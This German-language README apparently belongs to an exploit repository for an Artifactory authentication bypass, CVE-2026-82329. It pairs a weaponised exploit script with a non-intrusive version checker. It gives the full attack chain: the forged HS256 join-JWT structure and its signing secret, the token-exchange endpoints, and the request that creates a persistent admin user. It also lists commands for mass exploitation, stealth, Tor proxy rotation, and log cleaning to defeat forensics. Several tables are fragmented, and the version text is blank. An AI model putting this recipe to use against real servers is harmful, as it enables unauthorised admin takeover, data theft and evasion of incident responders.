
Exploit- und Erkennungs-Toolkit für CVE-2026-82329, einen JFrog Artifactory Auth-Bypass. Fälscht Join-JWTs, um Admin-Token zu erzeugen; enthält einen nicht-intrusiven Versionsprüfer.

NUR FÜR ETHISCHE NUTZUNG – AUTORISIERTE SICHERHEITSTESTS Dieses Repository stellt Tools ausschließlich für autorisierte Sicherheitsexperten, Blue Teams und Penetrationstester bereit. Unbefugter Zugriff auf Computersysteme ist illegal gemäß CFAA (USA), Computer Misuse Act (UK), TCK 243/244 (Türkei) und ähnlichen Gesetzen weltweit.
CVE‑2026‑82329 ist eine kritische Authentifizierungs-Bypass-Schwachstelle in (Versionen bis ), die es einem nicht authentifizierten Angreifer ermöglicht, durch Ausnutzung des JFrog Access Cluster-Join-Mechanismus ein zu erlangen.
32 * 0x20 (Leerzeichen).kid = SHA256("") signiert ist.POST /access/api/v1/registry/join gibt ohne jegliche Authentifizierung ein SERVICE-Token mit scp=admin zurück.POST /access/api/v1/tokens mit scope=applied-permissions/admin&audience=* liefert ein vollständiges Plattform-Admin-Token.| Tool | Zweck | Vorgesehener Benutzer |
|---|---|---|
exploit.py | Vollständiges weaponisiertes Toolkit mit JWT-Fälschung, Admin-Token-Austausch, Erstellung von Admin-Benutzern, Massen-Scanning, Stealth-Modus, Proxy-Rotation, interaktivem Menü und vollständiger Angriffskette. | Red Teams / autorisierte Pentester |
safechecker.py | Nicht-intrusiver Schwachstellen-Checker, der die Artifactory-Version erkennt, die Exposition validiert und das Risiko bewertet, ohne ein Token zu erhalten oder eine Payload auszuführen. Erzeugt JSON-Berichte. | Blue Teams / Sicherheitsauditoren |
| Funktion | exploit.py | safechecker.py |
|---|---|---|
| Schwachstellenerkennung | ✅ | ✅ |
| Versionserkennung | ✅ | ✅ |
| Gefälschtes Join-JWT | ✅ | ❌ |
| Service-Token-Ausstellung | ✅ | ❌ |
| Admin-Token-Austausch | ✅ | ❌ |
| Erstellung von Admin-Benutzern | ✅ | ❌ |
| Repositories auflisten | ✅ | ❌ |
| Benutzer auflisten | ✅ | ❌ |
| Konfiguration auslesen | ✅ | ❌ |
| Token auslesen | ✅ | ❌ |
| Vollständige Angriffskette | ✅ | ❌ |
| Interaktives Menü | ✅ | ❌ |
| Massen-Scanning (Multi-Thread) | ✅ | ✅ |
| Proxy-Unterstützung | ✅ | ✅ |
| Proxy-Rotation | ✅ | ❌ |
| Tor-Unterstützung (Anonymität) | ✅ | ❌ |
| User-Agent-Rotation (OPSEC) | ✅ | ❌ |
| Jitter (OPSEC) | ✅ | ❌ |
| Adaptiver Rate-Limiter | ✅ | ❌ |
| Nicht-intrusiver (sicherer) Modus | ❌ | ✅ |
| Versionsbericht | ✅ | ✅ |
| Anonymer Zugriffscheck | ❌ | ✅ |
| JSON-Bericht | ✅ |
| Szenario | Empfohlenes Tool |
|---|---|
| Blue Team – Überprüfung, ob Ihr Artifactory anfällig ist | safechecker.py |
| Sicherheitsaudit – nicht-intrusive Schwachstellenbewertung | safechecker.py |
| Red Team – autorisierte Penetrationstests mit vollständiger Ausnutzung | exploit.py |
| Bug Bounty – Tests zur verantwortungsvollen Offenlegung | safechecker.py |
| Massen-Scanning – Überprüfung mehrerer Ziele auf Schwachstellen | exploit.py (nur Erkennung) |
| Incident Response – Überprüfung, ob Systeme kompromittiert wurden | safechecker.py |
git clone https://github.com/tc4dy/CVE-2026-82329-PoC-Exploit
cd CVE-2026-82329-PoC-Exploit
pip install -r requirements.txt
requests
urllib3
curl_cffi
exploit.py Parameter| Parameter | Beschreibung |
|---|---|
-u, --url | Einzelne Ziel-Artifactory-URL (z. B. http://artifactory.example.com:8082) |
-f, --file | Datei mit Zielliste (eine pro Zeile) für Massen-Scanning |
--create-admin | Persistenten Admin-Benutzer erstellen (Format: USER:PASS) |
--keep-admin | Erstellten Admin-Benutzer behalten (keine Bereinigung nach dem Scan) |
--token-only | Nur Admin-Token ausgeben (einzelnes Ziel) |
--interactive | Interaktives Menü nach der Ausnutzung |
--service-id | Service-ID für Join-JWT (Standard: jfrt@01) |
-t, --threads | Anzahl der Threads für mehrere Ziele (Standard: 10) |
--timeout | Anfrage-Timeout (Standard: 25s) |
--retry | Maximale Wiederholungsversuche (Standard: 3) |
--proxy | HTTP/HTTPS-Proxy (z. B. http://127.0.0.1:8080) |
--proxy-list | Datei mit Proxys für Rotation (eine pro Zeile) |
--jitter | Zufälliger Jitter (0-2 Sek.) zwischen Anfragen |
--stealth | Stealth-Modus aktivieren (UA-Rotation + X-Forwarded-For) |
--curl-cffi | curl_cffi für TLS-Fingerprint-Impersonation verwenden |
--full | Vollständiger Angriff: alle Module |
--dump-config | Systemkonfiguration auslesen |
--dump-tokens | Alle Zugriffstoken auslesen |
--list-repos | Repositories auflisten |
--list-users | Benutzer auflisten |
--detect |
safechecker.py Parameter| Parameter | Beschreibung |
|---|---|
-u, --url | Einzelne Ziel-Artifactory-URL (z. B. http://artifactory.example.com:8082) |
-f, --file | Datei mit Zielliste (eine pro Zeile) |
-t, --threads | Anzahl der Threads für mehrere Ziele (Standard: 5) |
--timeout | Anfrage-Timeout (Standard: 10s) |
-v, --verbose | Ausführliche Ausgabe |
-o, --output | JSON-Bericht in Datei speichern |
| # | Szenario | Befehl |
|---|---|---|
| 1 | Schnelle Schwachstellenprüfung | python safechecker.py -u http://artifactory.example.com:8082 |
| 2 | Detaillierter Scan mit Bericht | python safechecker.py -u http://artifactory.example.com:8082 -o report.json -v |
| 3 | Massen-Audit aus Datei | python safechecker.py -f targets.txt -t 10 -o audit.json |
| 4 | Nur-Erkennungs-Exploit | python exploit.py -u http://artifactory.example.com:8082 --detect |
| 5 | Nur Admin-Token abrufen | python exploit.py -u http://artifactory.example.com:8082 --token-only |
| 6 | Vollständiger Angriff mit interaktivem Menü | python exploit.py -u http://artifactory.example.com:8082 --interactive |
| 7 | Persistenten Admin-Benutzer erstellen | python exploit.py -u http://artifactory.example.com:8082 --create-admin evil:P@ssw0rd1 --keep-admin |
| 8 | Konfiguration auslesen | python exploit.py -u http://artifactory.example.com:8082 --dump-config |
| 9 | Repositories und Benutzer auflisten | python exploit.py -u http://artifactory.example.com:8082 --list-repos --list-users |
| 10 | Massen-Exploit mit Stealth | python exploit.py -f targets.txt -t 20 --stealth --jitter --full -o results.json |
| 11 | Proxy-Rotation mit Tor | python exploit.py -f targets.txt --proxy-list proxies.txt --curl-cffi --stealth |
Der Exploit verwendet die folgenden JFrog-Endpunkte und Ausnutzungsschritte:
| Schritt | Methode | Endpunkt | Beschreibung |
|---|---|---|---|
| 1. Join | POST | /access/api/v1/registry/join | Gefälschtes HS256-JWT → SERVICE-Token (scp=admin) |
| 2. Exchange | POST | /access/api/v1/tokens | SERVICE-Token → Plattform-Admin-Token |
| 3. Prove | GET | /artifactory/api/system/configuration | Nur-Admin-Zugriffsnachweis |
| 4. Persist | PUT | /artifactory/api/security/users/{user} | Persistenten Admin-Benutzer erstellen |
| 5. Revoke | DELETE | /access/api/v1/tokens/{id} | Erstellte Token bereinigen |
# Struktur des gefälschten Join-JWT
{
"alg": "HS256",
"typ": "JWT"
}
{
"iat": <unix_timestamp>,
"service_id": "jfrt@01",
"kid": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
"skip_node_registration": true
}
# Signaturgeheimnis
secret = b"\x20" * 32
# Admin-Token-Anfrage
scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false
Diese Software wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.
| ✅ |
| Log-Bereinigung (Anti-Forensik) | ✅ | ❌ |
| Benutzerdefinierter User-Agent | ✅ | ✅ |
| SSL-Verifizierungssteuerung | ✅ | ✅ |
| Nur Erkennung (kein Admin-Token-Austausch) |
--exploit | Vollständige Ausnutzung durchführen |
-o, --output | JSON-Bericht in Datei speichern |
-v, --verbose | Ausführliche Ausgabe |
-q, --quiet | Leiser Modus |